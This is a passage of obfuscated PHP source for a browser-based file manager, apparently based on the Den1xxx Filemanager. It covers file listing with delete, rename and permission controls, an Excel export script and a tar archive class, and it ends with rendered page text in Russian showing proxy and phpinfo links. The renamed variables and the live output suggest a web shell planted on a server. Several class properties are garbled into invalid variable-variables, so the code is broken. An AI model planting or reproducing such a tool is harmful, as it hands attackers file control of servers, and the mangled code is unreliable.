\n'.$e29.'. \n'.__('Are you sure you want to delete this file?').'\')) document.location.href = \''.$r118.'&delete='.$e29.'&path='.$j6.'\'"';}$x144=fm_root($e29)?'':'<a href="#" title="'.__('Delete').' '.$e29.'" '.$h92.'>'.__('Delete').'</a>';$x145=fm_root($e29)?'':'<a href="'.$r118.'&rename='.$e29.'&path='.$j6.'" title="'.__('Rename').' '.$e29.'">'.__('Rename').'</a>';$i146=($e29=='.'||$e29=='..')?'':'<a href="'.$r118.'&rights='.$e29.'&path='.$j6.'" title="'.__('Rights').' '.$e29.'">'.@fm_rights_string($e59).'</a>';?> <tr class="<?=$p142?>"> <td><?=$g61?></td> <td><?=$j139[7]?></td> <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$j139[9])?></td> <td><?=$i146?></td> <td><?=$x144?></td> <td><?=$x145?></td> <td><?=$j140?></td> <td><?=$m141?></td> </tr> <?php }}?> </tbody> </table> <div class="row3"><?php $x147=explode(' ',microtime());$m148=$x147[0]+$x147[1]-$c4;echo fm_home().' | ver. '.$h12.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="'.fm_site_url().'">.</a>';if(!empty($d15['show_php_ver']))echo ' | PHP '.phpversion();if(!empty($d15['show_php_ini']))echo ' | '.php_ini_loaded_file();if(!empty($d15['show_gt']))echo ' | '.__('Generation time').': '.round($m148,2);if(!empty($d15['enable_proxy']))echo ' | <a href="?proxy=true">proxy</a>';if(!empty($d15['show_phpinfo']))echo ' | <a href="?phpinfo=true">phpinfo</a>';if(!empty($d15['show_xls'])&&!empty($g61))echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';if(!empty($d15['fm_settings']))echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';?> </div> <script type="text/javascript"> function download_xls(filename, text) { var element = document.createElement('a'); element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text); element.setAttribute('download', filename); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); } function base64_encode(m) { for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) { c = m.charCodeAt(l); if (128 > c) d = 1; else for (d = 2; c >= 2 << 5 * d;) ++d; for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f]) } b && (g += k[f << 6 - b]); return g } var tableToExcelData = (function() { var uri = 'data:application/vnd.ms-excel;base64,', template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>', format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function(table, name) { if (!table.nodeType) table = document.getElementById(table) var ctx = { worksheet: name || 'Worksheet', table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1") } t = new Date(); filename = 'fm_' + t.toISOString() + '.xls' download_xls(filename, base64_encode(format(template, ctx))) } })(); var table2Excel = function () { var ua = window.navigator.userAgent; var msie = ua.indexOf("MSIE "); this.CreateExcelSheet = function(el, name){ if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer var x = document.getElementById(el).rows; var xls = new ActiveXObject("Excel.Application"); xls.visible = true; xls.Workbooks.Add for (i = 0; i < x.length; i++) { var y = x[i].cells; for (j = 0; j < y.length; j++) { xls.Cells(i + 1, j + 1).Value = y[j].innerText; } } xls.Visible = true; xls.UserControl = true; return xls; } else { tableToExcelData(el, name); } } } </script> </body> </html> <?php class archiveTar{var $s149='';var $v150=0;var $g151=0;var $b152=true;var $r153=array();var $t138=array();function __construct(){if(!isset($this->$m154))$this->$m154=array();}function createArchive($l155){$b84=false;if(file_exists($this->$l156)&&is_file($this->$l156))$v157=false;else $v157=true;if($v157){if(!$this->openWrite())return false;}else{if(filesize($this->$l156)==0)return $this->openWrite();if($this->$h158){$this->closeTmpFile();if(!rename($this->$l156,$this->$l156.'.tmp')){$this->$m154[]=__('Cannot rename').' '.$this->$l156.__(' to ').$this->$l156.'.tmp';return false;}$e159=gzopen($this->$l156.'.tmp','rb');if(!$e159){$this->$m154[]=$this->$l156.'.tmp '.__('is not readable');rename($this->$l156.'.tmp',$this->$l156);return false;}if(!$this->openWrite()){rename($this->$l156.'.tmp',$this->$l156);return false;}$l160=gzread($e159,512);if(!gzeof($e159)){do{$u161=pack('a512',$l160);$this->writeBlock($u161);$l160=gzread($e159,512);}while(!gzeof($e159));}gzclose($e159);unlink($this->$l156.'.tmp');}else{$this->$t162=fopen($this->$l156,'r+b');if(!$this->$t162)return false;}}if(isset($l155)&&is_array($l155)){if(count($l155)>0)$b84=$this->packFileArray($l155);}else $this->$m154[]=__('No file').__(' to ').__('Archive');if(($b84)&&(is_resource($this->$t162))){$u161=pack('a512','');$this->writeBlock($u161);}$this->closeTmpFile();if($v157&&!$b84){$this->closeTmpFile();unlink($this->$l156);}return $b84;}function restoreArchive($j6){$k163=$this->$l156;if(!$this->$h158){if(file_exists($k163)){if($h46=fopen($k163,'rb')){$w164=fread($h46,2);fclose($h46);if($w164=='\37\213'){$this->$h158=true;}}}elseif((substr($k163,-2)=='gz')OR(substr($k163,-3)=='tgz'))$this->$h158=true;}$b84=true;if($this->$h158)$this->$t162=gzopen($k163,'rb');else $this->$t162=fopen($k163,'rb');if(!$this->$t162){$this->$m154[]=$k163.' '.__('is not readable');return false;}$b84=$this->unpackFileArray($j6);$this->closeTmpFile();return $b84;}function showErrors($a165=''){$h166=$this->$m154;if(count($h166)>0){if(!empty($a165))$a165=' ('.$a165.')';$a165=__('Error occurred').$a165.': <br/>';foreach($h166 as $f101)$a165.=$f101.'<br/>';return $a165;}else return '';}function packFileArray($v167){$b84=true;if(!$this->$t162){$this->$m154[]=__('Invalid file descriptor');return false;}if(!is_array($v167)||count($v167)<=0)return true;for($s89=0;$s89<count($v167);$s89++){$e59=$v167[$s89];if($e59==$this->$l156)continue;if(strlen($e59)<=0)continue;if(!file_exists($e59)){$this->$m154[]=__('No file').' '.$e59;continue;}if(!$this->$t162){$this->$m154[]=__('Invalid file descriptor');return false;}if(strlen($e59)<=0){$this->$m154[]=__('Filename').' '.__('is incorrect');;return false;}$e59=str_replace('\\','/',$e59);$l168=$this->makeGoodPath($e59);if(is_file($e59)){if(($e29=fopen($e59,'rb'))==0){$this->$m154[]=__('Mode ').__('is incorrect');}if(($this->$x169==0)){if(!$this->writeHeader($e59,$l168))return false;}while(($l160=fread($e29,512))!=''){$u161=pack('a512',$l160);$this->writeBlock($u161);}fclose($e29);}else $this->writeHeader($e59,$l168);if(@is_dir($e59)){if(!($z91=opendir($e59))){$this->$m154[]=__('Error').': '.__('Directory ').$e59.__('is not readable');continue;}while(false!==($o55=readdir($z91))){if($o55!='.'&&$o55!='..'){$z170=array();if($e59!='.')$z170[]=$e59.'/'.$o55;else $z170[]=$o55;$b84=$this->packFileArray($z170);}}unset($z170);unset($o55);unset($z91);}}return $b84;}function unpackFileArray($j6){$j6=str_replace('\\','/',$j6);if($j6==''||(substr($j6,0,1)!='/'&&substr($j6,0,3)!='../'&&!strpos($j6,':')))$j6='./'.$j6;clearstatcache();while(strlen($u161=$this->readBlock())!=0){if(!$this->readHeader($u161,$v171))return false;if($v171['filename']=='')continue;if($v171['typeflag']=='L'){$e59='';$d172=floor($v171['size']/512);for($s89=0;$s89<$d172;$s89++){$c173=$this->readBlock();$e59.=$c173;}if(($d174=$v171['size']%512)!=0){$c173=$this->readBlock();$e59.=substr($c173,0,$d174);}$u161=$this->readBlock();if(!$this->readHeader($u161,$v171))return false;else $v171['filename']=$e59;return true;}if(($j6!='./')&&($j6!='/')){while(substr($j6,-1)=='/')$j6=substr($j6,0,strlen($j6)-1);if(substr($v171['filename'],0,1)=='/')$v171['filename']=$j6.$v171['filename'];else $v171['filename']=$j6.'/'.$v171['filename'];}if(file_exists($v171['filename'])){if((@is_dir($v171['filename']))&&($v171['typeflag']=='')){$this->$m154[]=__('File ').$v171['filename'].__(' already exists').__(' as folder');return false;}if((is_file($v171['filename']))&&($v171['typeflag']=='5')){$this->$m154[]=__('Cannot create directory').'. '.__('File ').$v171['filename'].__(' already exists');return false;}if(!is_writeable($v171['filename'])){$this->$m154[]=__('Cannot write to file').'. '.__('File ').$v171['filename'].__(' already exists');return false;}}elseif(($this->dirCheck(($v171['typeflag']=='5'?$v171['filename']:dirname($v171['filename']))))!=1){$this->$m154[]=__('Cannot create directory').' '.__(' for ').$v171['filename'];return false;}if($v171['typeflag']=='5'){if(!file_exists($v171['filename'])){if(!mkdir($v171['filename'],0777)){$this->$m154[]=__('Cannot create directory').' '.$v171['filename'];return false;}}}else{if(($w132=fopen($v171['filename'],'wb'))==0){$this->$m154[]=__('Cannot write to file').' '.$v171['filename'];return false;}else{$d172=floor($v171['size']/512);for($s89=0;$s89<$d172;$s89++){$c173=$this->readBlock();fwrite($w132,$c173,512);}if(($v171['size']%512)!=0){$c173=$this->readBlock();fwrite($w132,$c173,($v171['size']%512));}fclose($w132);touch($v171['filename'],$v171['time']);}clearstatcache();if(filesize($v171['filename'])!=$v171['size']){$this->$m154[]=__('Size of file').' '.$v171['filename'].' '.__('is incorrect');return false;}}if(($r175=dirname($v171['filename']))==$v171['filename'])$r175='';if((substr($v171['filename'],0,1)=='/')&&($r175==''))$r175='/';$this->$f176[]=$r175;$this->$c177[]=$v171['filename'];}return true;}function dirCheck($o55){$f178=dirname($o55);if((@is_dir($o55))or($o55==''))return true;if(($f178!=$o55)and($f178!='')and(!$this->dirCheck($f178)))return false;if(!mkdir($o55,0777)){$this->$m154[]=__('Cannot create directory').' '.$o55;return false;}return true;}function readHeader($u161,&$v171){if(strlen($u161)==0){$v171['filename']='';return true;}if(strlen($u161)!=512){$v171['filename']='';$this->__('Invalid block size').': '.strlen($u161);return false;}$j179=0;for($s89=0;$s89<148;$s89++)$j179+=ord(substr($u161,$s89,1));for($s89=148;$s89<156;$s89++)$j179+=ord(' ');for($s89=156;$s89<512;$s89++)$j179+=ord(substr($u161,$s89,1));$y180=unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor',$u161);$v171['checksum']=OctDec(trim($y180['checksum']));if($v171['checksum']!=$j179){$v171['filename']='';if(($j179==256)&&($v171['checksum']==0))return true;$this->$m154[]=__('Error checksum for file ').$y180['filename'];return false;}if(($v171['typeflag']=$y180['typeflag'])=='5')$v171['size']=0;$v171['filename']=trim($y180['filename']);$v171['mode']=OctDec(trim($y180['mode']));$v171['user_id']=OctDec(trim($y180['user_id']));$v171['group_id']=OctDec(trim($y180['group_id']));$v171['size']=OctDec(trim($y180['size']));$v171['time']=OctDec(trim($y180['time']));return true;}function writeHeader($e59,$l168){$k181='a100a8a8a8a12A12';$y182='a1a100a6a2a32a32a8a8a155a12';if(strlen($l168)<=0)$l168=$e59;$q183=$this->makeGoodPath($l168);if(strlen($q183)>99){$r184=pack($k181,'././LongLink',0,0,0,sprintf('%11s ',DecOct(strlen($q183))),0);$d185=pack($y182,'L','','','','','','','','','');$j179=0;for($s89=0;$s89<148;$s89++)$j179+=ord(substr($r184,$s89,1));for($s89=148;$s89<156;$s89++)$j179+=ord(' ');for($s89=156,$j90=0;$s89<512;$s89++,$j90++)$j179+=ord(substr($d185,$j90,1));$this->writeBlock($r184,148);$j179=sprintf('%6s ',DecOct($j179));$u161=pack('a8',$j179);$this->writeBlock($u161,8);$this->writeBlock($d185,356);$y186=$this->makeGoodPath($q183);$s89=0;while(($l160=substr($y186,(($s89++)*512),512))!=''){$u161=pack('a512',$l160);$this->writeBlock($u161);}return true;}$t187=stat($e59);if(@is_dir($e59)){$m188='5';$m49=sprintf('%11s ',DecOct(0));}else{$m188='';clearstatcache();$m49=sprintf('%11s ',DecOct(filesize($e59)));}$r184=pack($k181,$q183,sprintf('%6s ',DecOct(fileperms($e59))),sprintf('%6s ',DecOct($t187[4])),sprintf('%6s ',DecOct($t187[5])),$m49,sprintf('%11s',DecOct(filemtime($e59))));$d185=pack($y182,$m188,'','','','','','','','','');$j179=0;for($s89=0;$s89<148;$s89++)$j179+=ord(substr($r184,$s89,1));for($s89=148;$s89<156;$s89++)$j179+=ord(' ');for($s89=156,$j90=0;$s89<512;$s89++,$j90++)$j179+=ord(substr($d185,$j90,1));$this->writeBlock($r184,148);$j179=sprintf('%6s ',DecOct($j179));$u161=pack('a8',$j179);$this->writeBlock($u161,8);$this->writeBlock($d185,356);return true;}function openWrite(){if($this->$h158)$this->$t162=gzopen($this->$l156,'wb9f');else $this->$t162=fopen($this->$l156,'wb');if(!($this->$t162)){$this->$m154[]=__('Cannot write to file').' '.$this->$l156;return false;}return true;}function readBlock(){if(is_resource($this->$t162)){if($this->$h158)$j189=gzread($this->$t162,512);else $j189=fread($this->$t162,512);}else $j189='';return $j189;}function writeBlock($w164,$w190=0){if(is_resource($this->$t162)){if($w190===0){if($this->$h158)gzputs($this->$t162,$w164);else fputs($this->$t162,$w164);}else{if($this->$h158)gzputs($this->$t162,$w164,$w190);else fputs($this->$t162,$w164,$w190);}}}function closeTmpFile(){if(is_resource($this->$t162)){if($this->$h158)gzclose($this->$t162);else fclose($this->$t162);$this->$t162=0;}}function makeGoodPath($j6){if(strlen($j6)>0){$j6=str_replace('\\','/',$j6);$r191=explode('/',$j6);$m31=count($r191)-1;for($s89=$m31;$s89>=0;$s89--){if($r191[$s89]=='.'){}elseif($r191[$s89]=='..'){$s89--;}elseif(($r191[$s89]=='')and($s89!=$m31)and($s89!=0)){}else $b84=$r191[$s89].($s89!=$m31?'/'.$b84:'');}}else $b84='';return $b84;}}?>
| ver. 1.4 |
Github
|
.
| PHP 8.1.27 | Генерация страницы: 0.14 |
proxy
|
phpinfo
|
Настройка